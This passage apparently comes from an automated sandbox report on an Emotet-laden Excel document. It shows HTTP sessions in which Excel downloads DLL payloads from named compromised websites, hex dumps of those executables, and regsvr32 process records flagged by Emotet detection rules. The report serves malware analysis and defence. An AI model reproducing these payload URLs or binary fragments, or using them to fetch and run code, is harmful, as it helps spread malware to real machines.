May 23, 2022 09:10:57.325227022 CEST	401	IN	Data Raw: b3 96 01 47 6c 05 a8 ff e2 63 60 56 6b c0 3a ae 3c 19 56 9a 3b 00 72 77 7f 04 5a d4 04 90 b7 31 00 32 67 4f 3b 94 98 9f 02 e7 ec 05 e8 d4 d3 db e0 fe 1f e2 b7 a9 00 d6 a1 fb db e1 8e c8 14 98 fd 0e 00 34 fd 0a 1c b5 07 01 7a e1 1f c7 c0 a8 fd 0c Data Ascii: Glc`Vk:<V;rwZ12gO;4z15?P0(r\zH3}W:P ]M@@GD`IEMwD?Q=Lm/G/b~$Px\=-xRyu
May 23, 2022 09:10:57.325242043 CEST	402	IN	Data Raw: 40 3c cb d3 7e 39 0b e5 d1 fc 43 36 14 1c 77 3f 67 57 b4 25 53 50 40 38 f7 df 04 f0 98 71 98 65 59 47 ed 7b c8 ab bd c8 f9 f0 3c 52 eb 5b 8c 31 4b 33 b4 4d 45 04 b4 1f b9 4b 7b 6a 0c 82 fe 2e da 0e 15 52 bc 8c 59 6e e0 2c 83 21 0b 89 4a ed 9c 31 Data Ascii: @<~9C6w?gW%SP@8qeYG{<R[1K3MEK{j.RYn,!J15:o-J`~)(CLTT7mpjBsx!P\|=6Lt_}5;5BG.Q8Gq]@N<a4@"@?Gnn(;9*jE16
May 23, 2022 09:10:57.325258017 CEST	404	IN	Data Raw: 31 66 61 30 0d 0a 64 fe ac 3a b4 8e 50 aa ce 6e a2 5f 1f cd 4c 95 46 40 31 7e 28 68 59 c8 f8 ea 09 f3 d4 5a 41 0b 08 43 9b 97 90 cf 11 3c 38 b7 a6 c1 4d e7 f5 32 54 e5 99 b5 3a bb 41 7c f8 64 19 21 ea 85 dc 68 2a 0e 67 90 57 34 21 72 91 21 65 34 Data Ascii: 1fa0d:Pn_LF@1~(hYZAC<8M2T:A\|d!h*gW4!r!e4~<8Vq\Bt[G8:(ItpKGhhTLRtRC7I4Sei0(SA\|#AU7~aTUEq@+9iyHw2 .60]K 1T,SRP
May 23, 2022 09:10:57.325274944 CEST	405	IN	Data Raw: b2 e7 45 14 70 7c 37 46 6a 39 f5 72 b4 21 b7 30 a5 59 59 40 c5 11 47 f4 c8 7d 62 6b 77 ed 7c bc 5d 13 58 aa 06 f9 ca 8e e2 cf 6f ad 2c 68 d9 be 8f 8c 96 c1 c2 6f e4 3e 58 a6 6d 9c 67 34 27 3a 02 12 d5 88 44 98 e1 8a 24 19 6a 4c 19 22 68 75 29 d4 Data Ascii: Ep\|7Fj9r!0YY@G}bkw\|]Xo,ho>Xmg4':D$jL"hu)x3lgB/whAu'OVE+d-~h0Zj_ sEqlH6D+rcET8$&,$QxLKW [C3,_Se<'{h/k-T"fe
May 23, 2022 09:10:57.325320959 CEST	406	IN	Data Raw: 84 10 0f 84 2b df 94 03 e1 a3 99 e6 a1 a7 e7 6c cb 43 2c 95 4e fa 23 b9 62 9b 06 68 96 a7 f8 bb 0a 1c 58 85 51 43 45 2e d2 29 8b 45 76 67 e1 12 3b 8f c1 4f df 34 57 7d 37 57 dd b2 4f 56 3d db 52 75 29 9f e2 38 1d 4b f4 1e aa 74 29 fe 2e 46 1c d7 Data Ascii: +lC,N#bhXQCE.)Evg;O4W}7WOV=Ru)8Kt).FY7Emq=\P3IQ~tT],t3CQybT(\jV1"]qS@I2i+yB1SAZ,tb=Hx}fR EC9}*3nC
May 23, 2022 09:10:57.353770018 CEST	408	IN	Data Raw: 87 79 b9 84 5b 1b fa fd ff a1 d6 da 5f 4d 44 b2 a5 f8 bf 68 ed e0 dd 89 05 3d 5f dc 4a 6b 81 13 14 77 cd bf 8c c6 88 06 14 87 0a bc d0 ea 57 cf e4 56 df f6 1b b7 fa 96 f8 56 4f 4c d6 ea bc b8 56 e7 4a b4 be 4f d2 9b bd cd ed 3b 36 ae 7d 98 65 44 Data Ascii: y[_MDh=_JkwWVVOLVJO;6}eD,-i]-9KW%hy~A(U=!,HcA{$HgL4wgIYKbdU`K@dFN{<K]f,;9N'Lc$:~UNhOsJtiH.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.22	49175	66.71.247.68	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
May 23, 2022 09:11:01.574974060 CEST	647	OUT	GET /classes/05SkiiW9y4DDGvb6/ HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: stainedglassexpress.com Connection: Keep-Alive
May 23, 2022 09:11:01.798887968 CEST	648	IN	HTTP/1.1 200 OK Date: Mon, 23 May 2022 07:11:01 GMT Server: Apache X-Powered-By: PHP/7.3.33 Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Mon, 23 May 2022 07:11:01 GMT Content-Disposition: attachment; filename="1Cb5zOjLgWGDemz55C5.dll" Content-Transfer-Encoding: binary Set-Cookie: 628b3385b2519=1653289861; expires=Mon, 23-May-2022 07:12:01 GMT; Max-Age=60; path=/ Last-Modified: Mon, 23 May 2022 07:11:01 GMT Content-Length: 371200 X-Content-Type-Options: nosniff Vary: User-Agent Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 99 b3 07 38 dd d2 69 6b dd d2 69 6b dd d2 69 6b b2 a4 c3 6b 83 d2 69 6b b2 a4 f7 6b d7 d2 69 6b d4 aa fa 6b da d2 69 6b dd d2 68 6b 84 d2 69 6b b2 a4 c2 6b f6 d2 69 6b b2 a4 f2 6b dc d2 69 6b b2 a4 f3 6b dc d2 69 6b b2 a4 f4 6b dc d2 69 6b 52 69 63 68 dd d2 69 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 f5 7b 87 62 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0a 00 00 04 02 00 00 a2 03 00 00 00 00 00 80 35 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 00 06 00 00 04 00 00 c7 1d 06 00 02 00 40 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 b0 aa 02 00 84 00 00 00 e4 a1 02 00 50 00 00 00 00 00 03 00 fc e9 02 00 00 f0 02 00 cc 0f 00 00 00 00 00 00 00 00 00 00 00 f0 05 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 02 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 fa 03 02 00 00 10 00 00 00 04 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 34 8b 00 00 00 20 02 00 00 8c 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 37 00 00 00 b0 02 00 00 14 00 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 cc 0f 00 00 00 f0 02 00 00 10 00 00 00 a8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 fc e9 02 00 00 00 03 00 00 ea 02 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 fc 06 00 00 00 f0 05 00 00 08 00 00 00 a2 05 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8ikikikkikkikkikhkikkikkikkikkikRichikPEd{b" 5@P .text `.rdata4 @@.data7@.pdata@@.rsrc@@.reloc
May 23, 2022 09:11:01.798969030 CEST	650	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: @B
May 23, 2022 09:11:01.798998117 CEST	651	IN	Data Raw: 34 76 c7 45 c0 59 4d 91 08 c7 45 c4 22 42 51 61 c7 45 c8 3c ad 27 30 c7 45 cc 45 41 0f 25 c7 45 d0 a6 14 48 2b c7 45 d4 65 21 68 8f c7 45 d8 ac 1d 38 63 c7 45 dc 6a 53 0b 32 c7 45 e0 34 f8 f1 78 c7 45 e4 50 76 35 3d c7 45 e8 91 09 12 39 c7 45 ec Data Ascii: 4vEYME"BQaE<'0EEA%EH+Ee!hE8cEjS2E4xEPv5=E9E<]ElOE'L#EAE:PtE'N8E1>#JEuJE@,:E5uEPKEsE# E )E$Ee&E(r#E,4XE0AE4pE8$ /E<@"/E@$ED 5.EH
May 23, 2022 09:11:01.799025059 CEST	652	IN	Data Raw: c7 85 10 02 00 00 2d ec 7e 35 c7 85 14 02 00 00 fe 27 4e 58 c7 85 18 02 00 00 2b 38 30 5a c7 85 1c 02 00 00 b3 10 75 2a c7 85 20 02 00 00 67 28 25 22 c7 85 24 02 00 00 f1 35 75 33 c7 85 28 02 00 00 49 18 01 4d c7 85 2c 02 00 00 2f c9 17 01 c7 85 Data Ascii: -~5'NX+80Zu* g(%"$5u3(IM,/046$-8p<R@;D$SHULAPlO)T'J:XA!\:-ZZ`'Npd%2[h0-RlAip
May 23, 2022 09:11:01.799052000 CEST	654	IN	Data Raw: e9 41 c7 85 28 04 00 00 11 2b e9 c1 c7 85 2c 04 00 00 43 13 da ee c7 85 30 04 00 00 3c 57 9e fd c7 85 34 04 00 00 64 49 d3 9f c7 85 38 04 00 00 43 76 da 42 c7 85 3c 04 00 00 7d 69 b2 c3 c7 85 40 04 00 00 69 42 7a 1e c7 85 44 04 00 00 b2 5e 13 9d Data Ascii: A(+,C0<W4dI8CvB<}i@iBzD^H-`LdPHT>tTX\6q`Qdlh6h;#l-p"mtHxd\|6uzJ\
May 23, 2022 09:11:01.799078941 CEST	655	IN	Data Raw: e2 17 1f 4d c7 85 40 06 00 00 ec 9f 10 31 c7 85 44 06 00 00 64 55 62 a4 c7 85 48 06 00 00 74 c6 9b 0c c7 85 4c 06 00 00 1d bb 38 a5 c7 85 50 06 00 00 c1 29 61 28 c7 85 54 06 00 00 d3 be 14 25 c7 85 58 06 00 00 61 a6 a5 74 c7 85 5c 06 00 00 b7 cc Data Ascii: M@1DdUbHtL8P)a(T%Xat\`9"dahDltJMpV0tRyix`M\|dW$BxDt6rn&.5%Y\?0,'
May 23, 2022 09:11:01.799108028 CEST	657	IN	Data Raw: 00 00 64 a7 14 b3 c7 85 58 08 00 00 18 70 50 32 c7 85 5c 08 00 00 0c 33 ba 42 c7 85 60 08 00 00 b2 d6 51 53 c7 85 64 08 00 00 3c e1 6c a3 c7 85 68 08 00 00 ba 80 81 3b c7 85 6c 08 00 00 ea 90 15 64 c7 85 70 08 00 00 b1 8c 80 55 c7 85 74 08 00 00 Data Ascii: dXpP2\3B`QSd<lh;ldpUt&"xIH\|ZpVV?x.>w NjI"WzA8#'4+k
May 23, 2022 09:11:01.799134016 CEST	658	IN	Data Raw: 6c 0a 00 00 b7 15 90 bd c7 85 70 0a 00 00 38 09 55 95 c7 85 74 0a 00 00 b6 0a ae 53 c7 85 78 0a 00 00 49 87 23 a5 c7 85 7c 0a 00 00 6f 52 50 e3 c7 85 80 0a 00 00 15 5c ab 86 48 8d 0d 01 f5 01 00 c7 85 84 0a 00 00 24 76 22 50 c7 85 88 0a 00 00 5b Data Ascii: lp8UtSxI#\|oRP\H$v"P[8\|PW?6Y"pvv++o(Rg~iC"syvA)3HuH"E3E3F
May 23, 2022 09:11:01.799160004 CEST	660	IN	Data Raw: 08 48 0f c3 51 10 48 83 c1 40 48 0f c3 51 d8 48 0f c3 51 e0 49 ff c9 48 0f c3 51 e8 48 0f c3 51 f0 48 0f c3 51 f8 75 d0 f0 80 0c 24 00 e9 54 ff ff ff cc cc cc cc cc cc 4c 89 44 24 18 89 54 24 10 48 89 4c 24 08 48 83 ec 48 83 7c 24 58 01 0f 85 ad Data Ascii: HQH@HQHQIHQHQHQu$TLD$T$HL$HH\|$XTu3^uT3SkHwRH;B}T3\!L\|I\|3;tHT3)Y;s
May 23, 2022 09:11:01.799185991 CEST	661	IN	Data Raw: 00 00 48 8b 4c 24 78 48 8b 00 48 2b c1 48 89 44 24 68 48 8b 84 24 c8 00 00 00 48 8b 40 38 48 89 84 24 88 00 00 00 48 8b 84 24 b0 00 00 00 8b 40 04 83 e0 66 85 c0 0f 85 04 02 00 00 48 8b 84 24 b0 00 00 00 48 89 44 24 38 48 8b 84 24 c0 00 00 00 48 Data Ascii: HL$xHH+HD$hH$H@8H$H$@fH$HD$8H$HD$@H$@HD$0D$0D$0H$9D$0D$0HkH$DH9D$hD$0HkH$DH9D$hsD$0HkH$\|XD$0HkH$\|
May 23, 2022 09:11:01.923927069 CEST	663	IN	Data Raw: 8b 44 24 30 48 c7 40 08 ff ff ff ff b8 01 00 00 00 48 83 c4 48 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 83 ec 28 83 3d 25 72 02 00 ff 74 16 8b 0d 1d 72 02 00 ff 15 a7 e2 01 00 c7 05 0d 72 02 00 ff ff ff ff e8 88 52 00 00 48 83 c4 28 c3 cc Data Ascii: D$0H@HHH(=%rtrrRH(HT$HL$H(HD$0HvHHD$0@HD$0@HD$0HD$0tCHD$0CHD$0HxHSTHD$0HT/T

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.22	49176	107.189.3.39	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
May 23, 2022 09:11:05.086694002 CEST	1040	OUT	GET /images/D4TRnDubF/ HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: milanstaffing.com Connection: Keep-Alive
May 23, 2022 09:11:05.140671968 CEST	1042	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 x-powered-by: PHP/7.0.33 set-cookie: 628b33891c2fb=1653289865; expires=Mon, 23-May-2022 07:12:05 GMT; Max-Age=60; path=/ cache-control: no-cache, must-revalidate pragma: no-cache last-modified: Mon, 23 May 2022 07:11:05 GMT expires: Mon, 23 May 2022 07:11:05 GMT content-type: application/x-msdownload content-disposition: attachment; filename="T35PENELLOsp.dll" content-transfer-encoding: binary content-length: 371200 date: Mon, 23 May 2022 07:11:05 GMT server: LiteSpeed vary: User-Agent Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 99 b3 07 38 dd d2 69 6b dd d2 69 6b dd d2 69 6b b2 a4 c3 6b 83 d2 69 6b b2 a4 f7 6b d7 d2 69 6b d4 aa fa 6b da d2 69 6b dd d2 68 6b 84 d2 69 6b b2 a4 c2 6b f6 d2 69 6b b2 a4 f2 6b dc d2 69 6b b2 a4 f3 6b dc d2 69 6b b2 a4 f4 6b dc d2 69 6b 52 69 63 68 dd d2 69 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 f5 7b 87 62 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0a 00 00 04 02 00 00 a2 03 00 00 00 00 00 80 35 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 00 06 00 00 04 00 00 c7 1d 06 00 02 00 40 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 b0 aa 02 00 84 00 00 00 e4 a1 02 00 50 00 00 00 00 00 03 00 fc e9 02 00 00 f0 02 00 cc 0f 00 00 00 00 00 00 00 00 00 00 00 f0 05 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 02 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 fa 03 02 00 00 10 00 00 00 04 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 34 8b 00 00 00 20 02 00 00 8c 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 37 00 00 00 b0 02 00 00 14 00 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 cc 0f 00 00 00 f0 02 00 00 10 00 00 00 a8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 fc e9 02 00 00 00 03 00 00 ea 02 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 fc 06 00 00 00 f0 05 00 00 08 00 00 00 a2 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8ikikikkikkikkikhkikkikkikkikkikRichikPEd{b" 5@P .text `.rdata4 @@.data7@.pdata@@.rsrc@@.reloc@B
May 23, 2022 09:11:05.140707970 CEST	1043	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 23, 2022 09:11:05.140724897 CEST	1045	IN	Data Raw: c7 45 d4 65 21 68 8f c7 45 d8 ac 1d 38 63 c7 45 dc 6a 53 0b 32 c7 45 e0 34 f8 f1 78 c7 45 e4 50 76 35 3d c7 45 e8 91 09 12 39 c7 45 ec 1d 3c 5d 0e c7 45 f0 a5 6c 4f 0d c7 45 f4 27 4c 03 23 c7 45 f8 93 03 41 1d c7 45 fc 09 3a 50 74 c7 45 00 fe 27 Data Ascii: Ee!hE8cEjS2E4xEPv5=E9E<]ElOE'L#EAE:PtE'N8E1>#JEuJE@,:E5uEPKEsE# E )E$Ee&E(r#E,4XE0AE4pE8$ /E<@"/E@$ED 5.EHAELPEP"_ET<3EX39E\x
May 23, 2022 09:11:05.140743017 CEST	1046	IN	Data Raw: 10 75 2a c7 85 20 02 00 00 67 28 25 22 c7 85 24 02 00 00 f1 35 75 33 c7 85 28 02 00 00 49 18 01 4d c7 85 2c 02 00 00 2f c9 17 01 c7 85 30 02 00 00 05 96 11 ef c7 85 34 02 00 00 36 24 12 2d c7 85 38 02 00 00 ee 70 95 0c c7 85 3c 02 00 00 0c 52 02 Data Ascii: u* g(%"$5u3(IM,/046$-8p<R@;D$SHULAPlO)T'J:XA!\:-ZZ`'Npd%2[h0-RlAipN7#6tY&xV\|
May 23, 2022 09:11:05.140759945 CEST	1047	IN	Data Raw: 00 64 49 d3 9f c7 85 38 04 00 00 43 76 da 42 c7 85 3c 04 00 00 7d 69 b2 c3 c7 85 40 04 00 00 69 42 7a 1e c7 85 44 04 00 00 b2 5e 13 9d c7 85 48 04 00 00 2d ce a9 60 c7 85 4c 04 00 00 64 1e ea 16 c7 85 50 04 00 00 88 48 ea da c7 85 54 04 00 00 c1 Data Ascii: dI8CvB<}i@iBzD^H-`LdPHT>tTX\6q`Qdlh6h;#l-p"mtHxd\|6uzJ\Ng(kjQCeM
May 23, 2022 09:11:05.140778065 CEST	1049	IN	Data Raw: 06 00 00 1d bb 38 a5 c7 85 50 06 00 00 c1 29 61 28 c7 85 54 06 00 00 d3 be 14 25 c7 85 58 06 00 00 61 a6 a5 74 c7 85 5c 06 00 00 b7 cc ae 8b c7 85 60 06 00 00 b7 13 39 22 c7 85 64 06 00 00 e7 0c 61 dc c7 85 68 06 00 00 97 ff 9c 44 c7 85 6c 06 00 Data Ascii: 8P)a(T%Xat\`9"dahDltJMpV0tRyix`M\|dW$BxDt6rn&.5%Y\?0,'aPKxI
May 23, 2022 09:11:05.140794992 CEST	1050	IN	Data Raw: 85 64 08 00 00 3c e1 6c a3 c7 85 68 08 00 00 ba 80 81 3b c7 85 6c 08 00 00 ea 90 15 64 c7 85 70 08 00 00 b1 8c 80 55 c7 85 74 08 00 00 e8 dc 26 22 c7 85 78 08 00 00 49 c4 12 48 c7 85 7c 08 00 00 d4 ec 01 5a c7 85 80 08 00 00 a6 af 70 56 c7 85 84 Data Ascii: d<lh;ldpUt&"xIH\|ZpVV?x.>w NjI"WzA8#'4+kAkD}LhH
May 23, 2022 09:11:05.140811920 CEST	1052	IN	Data Raw: a5 c7 85 7c 0a 00 00 6f 52 50 e3 c7 85 80 0a 00 00 15 5c ab 86 48 8d 0d 01 f5 01 00 c7 85 84 0a 00 00 24 76 22 50 c7 85 88 0a 00 00 5b e4 d0 38 c7 85 8c 0a 00 00 95 ff 98 16 c7 85 90 0a 00 00 da 7c 50 57 c7 85 94 0a 00 00 98 3f 36 8d c7 85 98 0a Data Ascii: \|oRP\H$v"P[8\|PW?6Y"pvv++o(Rg~iC"syvA)3HuH"E3E3FH$A@A0
May 23, 2022 09:11:05.140830040 CEST	1053	IN	Data Raw: f8 75 d0 f0 80 0c 24 00 e9 54 ff ff ff cc cc cc cc cc cc 4c 89 44 24 18 89 54 24 10 48 89 4c 24 08 48 83 ec 48 83 7c 24 58 01 0f 85 ad 00 00 00 e8 9e 54 00 00 85 c0 75 07 33 c0 e9 a9 01 00 00 e8 5e 09 00 00 85 c0 75 0c e8 f5 54 00 00 33 c0 e9 94 Data Ascii: u$TLD$T$HL$HH\|$XTu3^uT3SkHwRH;B}T3\!L\|I\|3;tHT3)Y;sk\|$XuY=X~DP
May 23, 2022 09:11:05.140847921 CEST	1054	IN	Data Raw: 00 48 8b 84 24 b0 00 00 00 8b 40 04 83 e0 66 85 c0 0f 85 04 02 00 00 48 8b 84 24 b0 00 00 00 48 89 44 24 38 48 8b 84 24 c0 00 00 00 48 89 44 24 40 48 8b 84 24 c8 00 00 00 8b 40 48 89 44 24 30 eb 0a 8b 44 24 30 ff c0 89 44 24 30 48 8b 84 24 88 00 Data Ascii: H$@fH$HD$8H$HD$@H$@HD$0D$0D$0H$9D$0D$0HkH$DH9D$hD$0HkH$DH9D$hsD$0HkH$\|XD$0HkH$\|uD$H3D$0HkH$DHD$x
May 23, 2022 09:11:05.170115948 CEST	1056	IN	Data Raw: 83 ec 28 83 3d 25 72 02 00 ff 74 16 8b 0d 1d 72 02 00 ff 15 a7 e2 01 00 c7 05 0d 72 02 00 ff ff ff ff e8 88 52 00 00 48 83 c4 28 c3 cc cc cc 48 89 54 24 10 48 89 4c 24 08 48 83 ec 28 48 8b 44 24 30 48 8d 0d 76 f7 01 00 48 89 88 a0 00 00 00 48 8b Data Ascii: (=%rtrrRH(HT$HL$H(HD$0HvHHD$0@HD$0@HD$0HD$0tCHD$0CHD$0HxHSTHD$0HT/THD$0HL$8HHD$0HuH

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXEPID: 1200, Parent PID: 576

General

Target ID:	0
Start time:	09:10:16
Start date:	23/05/2022
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13ffa0000
File size:	28253536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 2552, Parent PID: 1200

General

Target ID:	3
Start time:	09:10:26
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx
Imagebase:	0xff5b0000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000003.00000002.926422500.0000000000300000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 1832, Parent PID: 2552

General

Target ID:	4
Start time:	09:10:28
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\regsvr32.exe "C:\Windows\system32\KuSAkvGE\rWFJGQNl.dll"
Imagebase:	0xff5b0000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.1218942103.00000000001D0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.1219771205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 1472, Parent PID: 1200

General

Target ID:	5
Start time:	09:10:29
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx
Imagebase:	0xff5b0000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000002.935437838.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000002.935123835.00000000003E0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 2076, Parent PID: 404

General

Target ID:	6
Start time:	09:10:29
Start date:	23/05/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0xff7d0000
File size:	27136 bytes
MD5 hash:	C78655BC80301D76ED4FEF1C1EA40A7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 1680, Parent PID: 1472

General

Target ID:	7
Start time:	09:10:31
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\regsvr32.exe "C:\Windows\system32\Ejpzh\qlDqXeGagKnBKzd.dll"
Imagebase:	0xff5b0000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
